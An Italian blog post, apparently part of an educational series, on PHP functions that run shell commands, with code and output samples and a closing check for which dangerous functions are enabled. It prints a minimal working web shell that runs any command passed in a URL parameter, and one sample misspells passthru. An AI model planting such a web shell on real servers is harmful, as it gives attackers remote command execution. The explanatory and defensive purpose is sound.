Diventa Autore per CoreTech | Scopri di più
06/07/20 CoreTech Blog
Nella parte 1 di questa serie, abbiamo esaminato cos'è una shell Web e perché un utente malintenzionato avrebbe cercato di usarne una. Nella parte 2 di questa serie, vedremo alcuni esempi specifici di shell web sviluppate usando il linguaggio di programmazione PHP.
Esistono web shell per quasi tutti i linguaggi di programmazione web a cui puoi pensare. Abbiamo scelto di concentrarci su PHP perché è il linguaggio di programmazione più utilizzato sul web.
Le web shell PHP non fanno altro che utilizzare le funzioni PHP integrate per eseguire i comandi. Di seguito sono riportate alcune delle funzioni più comuni utilizzate per eseguire i comandi di shell in PHP.
Nota : ai fini di questo articolo, abbiamo modificato il nostro file hosts e indirizzato il dominio www.example.com a un server di prova.
La system()
funzione accetta il comando come parametro e genera il risultato.
L'esempio seguente su un computer Microsoft Windows eseguirà il dir
comando per restituire un elenco di directory della directory in cui viene eseguito il file PHP.
<?php
// Return the listing of the directory where the file runs (Windows)
system("dir");
?>
--> Volume in drive C has no label.
Volume Serial Number is A08E-9C63
Directory of C:\webserver\www\demo
02/27/2020 10:21 PM <DIR> .
02/27/2020 10:21 PM <DIR> ..
02/27/2020 10:19 PM 22 shell.php
1 File(s) 22 bytes
2 Dir(s) 31,977,467,904 bytes free
L'esecuzione del ls
comando su una macchina Linux ottiene un risultato simile.
<?php
// Return the listing of the directory where the file runs (Linux)
system("ls -la");
?>
--> total 12
drwxrwxr-x 2 secuser secuser 4096 Feb 27 20:43 .
drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 ..
-rw-rw-r-- 1 secuser secuser 26 Feb 27 20:41 shell.php
Altri comandi hanno lo stesso effetto.
<?php
// Return the user the script is running under
system("whoami");
?>
--> www-data
La exec()
funzione accetta un comando come parametro ma non genera il risultato. Se viene specificato un secondo parametro facoltativo, il risultato verrà restituito come matrice. In caso contrario, verrà visualizzata solo l'ultima riga del risultato se viene eseguita l'eco.
<?php
// Executes but returns nothing
exec("ls -la");
?>
-->
L'uso echo
con la exec()
funzione stamperà solo l'ultima riga dell'output del comando.
<?php
// Executes, returns only last line of the output
echo exec("ls -la");
?>
--> -rw-rw-r-- 1 secuser secuser 29 Feb 27 20:49 shell.php
Se viene specificato un secondo parametro, il risultato viene restituito in un array.
<?php
// Executes, returns the output in an array
exec("ls -la",$array);
print_r($array);
?>
--> Array(
[0] => total 12
[1] => drwxrwxr-x 2 secuser secuser 4096 Feb 27 20:55 .
[2] => drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 ..
[3] => -rw-rw-r-- 1 secuser secuser 49 Feb 27 20:54 shell.php )
La shell_exec()
funzione è simile exec()
, tuttavia, genera l'intero risultato come una stringa.
<?php
// Executes, returns the entire output as a string
echo shell_exec("ls -la");
?>
-->
total 12
drwxrwxr-x 2 secuser secuser 4096 Feb 28 18:24 .
drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 ..
-rw-rw-r-- 1 secuser secuser 36 Feb 28 18:24 shell.php
La passthru()
funzione esegue un comando e restituisce l'output in formato non elaborato.
<?php
// Executes, returns output in raw format
passsthru("ls -la");
?>
-->
total 12
drwxrwxr-x 2 secuser secuser 4096 Feb 28 18:23 .
drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 ..
-rw-rw-r-- 1 secuser secuser 29 Feb 28 18:23 shell.php
La proc_open()
funzione può essere difficile da capire (puoi trovare una descrizione dettagliata della funzione nei documenti PHP ). Usando proc_open(), possiamo creare un gestore (processo) che verrà utilizzato per la comunicazione tra il nostro script e il programma che vogliamo eseguire.
Sorprendentemente, non molti sviluppatori PHP ne sono consapevoli, ma PHP eseguirà il contenuto di backtick (`) come comando shell.
Nota: il carattere backtick (`) non deve essere confuso con il carattere di virgoletta singola (')
<?php
$output = `whoami`;
echo "<pre>$output</pre>";
?>
--> www-data
Sulla base di quanto sopra, la seguente è una shell web PHP nella sua forma più semplice.
<?php system($_GET['cmd']);?>
Utilizza la funzione system () per eseguire i comandi che vengono passati attraverso il parametro GET della richiesta HTTP 'cmd' .
Abbiamo stabilito che queste funzioni (e poche altre) possono essere molto pericolose. Ciò che è ancora più pericoloso è che tutti questi comandi PHP integrati sono abilitati di default quando PHP è installato e la maggior parte degli amministratori di sistema non li disabilita.
Se non si è sicuri che siano abilitati sul proprio sistema, di seguito verrà riportato un elenco delle funzioni pericolose abilitate.
<?php
print_r(preg_grep("/^(system|exec|shell_exec|passthru|proc_open|popen|curl_exec|curl_multi_exec|parse_ini_file|show_source)$/", get_defined_functions(TRUE)["internal"]));
?>
In un'installazione predefinita, possiamo vedere che tutte le funzioni sopra menzionate sono abilitate.
[669] => exec
[670] => system
[673] => passthru
[674] => shell_exec
[675] => proc_open
[786] => show_source
[807] => parse_ini_file
[843] => popen